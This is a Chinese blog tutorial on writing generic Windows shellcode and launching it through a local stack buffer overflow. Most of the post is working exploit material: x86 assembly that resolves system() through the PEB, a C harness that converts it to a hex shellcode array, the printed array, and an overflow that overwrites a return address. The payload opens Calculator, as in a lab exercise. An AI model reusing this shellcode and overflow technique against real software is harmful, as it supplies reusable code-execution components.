通用shellcode的编写、调用 实验缓冲区溢出攻击(非远程)调用shellcode实例(二)

本文详细介绍了如何在Windows 8.1环境下,使用Visual Studio 2010进行缓冲区溢出攻击实验,以调用自编写的Shellcode。首先讲解了Shellcode的基本原理,然后提供了Shellcode的十六进制代码,并将其存储为全局变量。最后,文章展示了如何修改main函数以实现Shellcode的直接调用,但未涉及通过缓冲区溢出触发的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

上一章传送门:http://blog.youkuaiyun.com/u013582514/article/details/50094195

在上一章中讲述了用vs2010进行简单的缓冲区溢出攻击,这一章将讲述如何编写shellcode并用缓冲区溢出攻击调用shellcode



正文开始:

win8.1,vs2010

学过汇编的人一定了解,计算机会从内存中取得指令,而指令其实也都是一个个二进制数据,所以可以把代码(也就是指令)都转成十六进制数据放到数组里,之后运行它,这就是shellcode

直接上代码:

__asm
{
push ebp;
		mov esi, fs:0x30;            //PEB  
		mov esi, [esi + 0x0C];   //+0x00c Ldr              : Ptr32 _PEB_LDR_DATA  
		mov esi, [esi + 0x1C];  //+0x01c InInitializationOrderModuleList : _LIST_ENTRY  
	next_module:
		mov ebp, [esi + 0x08];
		mov edi, [esi + 0x20];
		mov esi, [esi];
		cmp[edi + 12 * 2], 0x00;
		jne next_module;
		mov edi, ebp; //BaseAddr of Kernel32.dll

		//寻找GetProcAddress地址  
		sub esp, 100;
		mov ebp, esp;
		mov eax, [edi + 3ch];//PE头  
		mov edx, [edi + eax + 78h]
			add edx, edi;
		mov ecx, [edx + 18h];//函数数量  
		mov ebx, [edx + 20h];
		add ebx, edi;
	search:
		dec ecx;
		mov esi, [ebx + ecx * 4];
		add esi, edi;
		mov eax, 0x50746547;
		cmp[esi], eax;
		jne search;
		mov eax, 0x41636f72;
		cmp[esi + 4], eax;
		jne search;
		mov ebx, [edx + 24h];
		add ebx, edi;
		mov cx, [ebx + ecx * 2];
		mov ebx, [edx + 1ch];
		add ebx, edi;
		mov eax, [ebx + ecx * 4];
		add eax, edi;
		mov[ebp + 76], eax;//eax为GetProcAddress地址  

		//获取LoadLibrary地址  
		push 0;
		push 0x41797261;
		push 0x7262694c;
		push 0x64616f4c;
		push esp
			push edi
			call[ebp + 76]
			mov[ebp + 80], eax;

		//获取ExitProcess地址  
		push 0;
		push 0x737365;
		push 0x636f7250;
		push 0x74697845;
		push esp;
		push edi;
		call[ebp + 76];
		mov[ebp + 84], eax;

		////////////////////////////////////////////我的代码开始  

		//获取Sleep地址  
		push 0x70;
		push 0x65656C53;
		push esp;
		push edi;
		call[ebp + 76];
		mov[ebp + 88], eax;

		//Sleep(10000)  
		//push 0xFFFFFFFF;
		//call[ebp + 88];


		///////////////////////////////////////////我的代码结束  

		//加载msvcrt.dll   LoadLibrary("msvcrt")  
		push 0;
		push 0x7472;
		push 0x6376736d;
		push esp;
		call[ebp + 80];
		mov edi, eax;

		//获取system地址  
		push 0;
		push 0x6d65;
		push 0x74737973;
		push esp;
		push edi;
		call[ebp + 76];
		mov[ebp + 92], eax;

		//system("calc")  
		push 0;
		push 0x636c6163;
		push esp;
		call[ebp + 92];

		//ExitProcess  
		call[ebp + 84];
}
这是一部分汇编代码,创建一个.c文件,放到main函数里就可以运行了。它的效果是打开系统计算机,适配于winxp到win8系统。

这部分代码是网上找的,如果看不懂的话,自己去多搜搜它的解释,这段代码还是挺火的。

接下来把它转成十六进制数据:

#include "windows.h"
#include <stdio.h>
#pragma comment(linker,"/SECTION:.data,RWE") 

void test()
{

	char buf[8];
	strcpy_s(buf, sizeof(shellcode), shellcode);
}

void test_shellcode()
{
	((void(*)())&shellcode)();
	/*__asm
	{
		lea eax, shellcode;
		jmp eax;
	}*/
}

unsigned char *asm_code()
{
	__asm
	{
		lea eax, __code
			jmp __ret
	}
	//这里放shellcode的汇编代码
	__asm
	{
	__code:
		push ebp;
		mov esi, fs:0x30;            //PEB  
		mov esi, [esi + 0x0C];   //+0x00c Ldr              : Ptr32 _PEB_LDR_DATA  
		mov esi, [esi + 0x1C];  //+0x01c InInitializationOrderModuleList : _LIST_ENTRY  
	next_module:
		mov ebp, [esi + 0x08];
		mov edi, [esi + 0x20];
		mov esi, [esi];
		cmp[edi + 12 * 2], 0x00;
		jne next_module;
		mov edi, ebp; //BaseAddr of Kernel32.dll

		//寻找GetProcAddress地址  
		sub esp, 100;
		mov ebp, esp;
		mov eax, [edi + 3ch];//PE头  
		mov edx, [edi + eax + 78h]
			add edx, edi;
		mov ecx, [edx + 18h];//函数数量  
		mov ebx, [edx + 20h];
		add ebx, edi;
	search:
		dec ecx;
		mov esi, [ebx + ecx * 4];
		add esi, edi;
		mov eax, 0x50746547;
		cmp[esi], eax;
		jne search;
		mov eax, 0x41636f72;
		cmp[esi + 4], eax;
		jne search;
		mov ebx, [edx + 24h];
		add ebx, edi;
		mov cx, [ebx + ecx * 2];
		mov ebx, [edx + 1ch];
		add ebx, edi;
		mov eax, [ebx + ecx * 4];
		add eax, edi;
		mov[ebp + 76], eax;//eax为GetProcAddress地址  

		//获取LoadLibrary地址  
		push 0;
		push 0x41797261;
		push 0x7262694c;
		push 0x64616f4c;
		push esp
			push edi
			call[ebp + 76]
			mov[ebp + 80], eax;

		//获取ExitProcess地址  
		push 0;
		push 0x737365;
		push 0x636f7250;
		push 0x74697845;
		push esp;
		push edi;
		call[ebp + 76];
		mov[ebp + 84], eax;

		////////////////////////////////////////////我的代码开始  

		//获取Sleep地址  
		push 0x70;
		push 0x65656C53;
		push esp;
		push edi;
		call[ebp + 76];
		mov[ebp + 88], eax;

		//Sleep(10000)  
		//push 0xFFFFFFFF;
		//call[ebp + 88];


		///////////////////////////////////////////我的代码结束  

		//加载msvcrt.dll   LoadLibrary("msvcrt")  
		push 0;
		push 0x7472;
		push 0x6376736d;
		push esp;
		call[ebp + 80];
		mov edi, eax;

		//获取system地址  
		push 0;
		push 0x6d65;
		push 0x74737973;
		push esp;
		push edi;
		call[ebp + 76];
		mov[ebp + 92], eax;

		//system("calc")  
		push 0;
		push 0x636c6163;
		push esp;
		call[ebp + 92];

		//ExitProcess  
		call[ebp + 84];
	}

	//函数结语
	__asm int 3
	__asm { __ret: }
}


int main()
{
	unsigned char temp;
	int i = 1;
	unsigned char *asm_p = asm_code();
	FILE *fd = fopen("code.txt", "w");
	fprintf(fd, "unsigned char shellcode[] = \"");
	while ((temp = *asm_p) != 0xcc)
	{
		fprintf(fd, "\\x%.2x", temp);
		asm_p++;
		if (i % 8 == 0) fprintf(fd, "\"\n\"");
		i++;
	}
	fprintf(fd, "\";");
	fclose(fd);
	/*__asm
	{
		lea eax, shellcode;
		jmp eax;
	}*/
	//((void(*)())&shellcode)();
	return 0;
}
直接运行,之后打开项目所在文件夹,会发现一个code.text文件,打开里面会有已经准备好的unsigned char shellcode[]的初始化

这是我转化后得到的shellcode代码

unsigned char shellcode[] = "\x55\x64\x8b\x35\x30\x00\x00\x00"
"\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e"
"\x08\x8b\x7e\x20\x8b\x36\x80\x7f"
"\x18\x00\x75\xf2\x8b\xfd\x83\xec"
"\x64\x8b\xec\x8b\x47\x3c\x8b\x54"
"\x07\x78\x03\xd7\x8b\x4a\x18\x8b"
"\x5a\x20\x03\xdf\x49\x8b\x34\x8b"
"\x03\xf7\xb8\x47\x65\x74\x50\x39"
"\x06\x75\xf1\xb8\x72\x6f\x63\x41"
"\x39\x46\x04\x75\xe7\x8b\x5a\x24"
"\x03\xdf\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x03\xdf\x8b\x04\x8b\x03\xc7"
"\x89\x45\x4c\x6a\x00\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\x54\x57\xff\x55"
"\x4c\x89\x45\x50\x6a\x00\x68\x65"
"\x73\x73\x00\x68\x50\x72\x6f\x63"
"\x68\x45\x78\x69\x74\x54\x57\xff"
"\x55\x4c\x89\x45\x54\x6a\x70\x68"
"\x53\x6c\x65\x65\x54\x57\xff\x55"
"\x4c\x89\x45\x58\x6a\x00\x68\x72"
"\x74\x00\x00\x68\x6d\x73\x76\x63"
"\x54\xff\x55\x50\x8b\xf8\x6a\x00"
"\x68\x65\x6d\x00\x00\x68\x73\x79"
"\x73\x74\x54\x57\xff\x55\x4c\x89"
"\x45\x5c\x6a\x00\x68\x63\x61\x6c"
"\x63\x54\xff\x55\x5c\xff\x55\x54"
"";


把它放到全局变量里,之后修改main函数代码为

__asm
{
<span style="white-space:pre">	</span>lea eax,shellcode;
<span style="white-space:pre">	</span>call shellcode;
}
这样就可以调用了,运行后会成功看到系统计算机被打开。



当然这是直接调用,并不是缓冲区溢出攻击得出来的效果,现在继续修改代码

void fun(char *str)
{
	char buffer[4];
	memcpy(buffer, str, 16);
}

int main()
{
	char badStr[] = "000011112222333344445555";
	DWORD *pEIP = (DWORD*)&badStr[8];
	*pEIP = (DWORD)&shellcode[0];//拿到字符数组的第一个元素并获取它的地址
	fun(badStr);

	return 0;
}
这样就可以成功获得效果了。



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值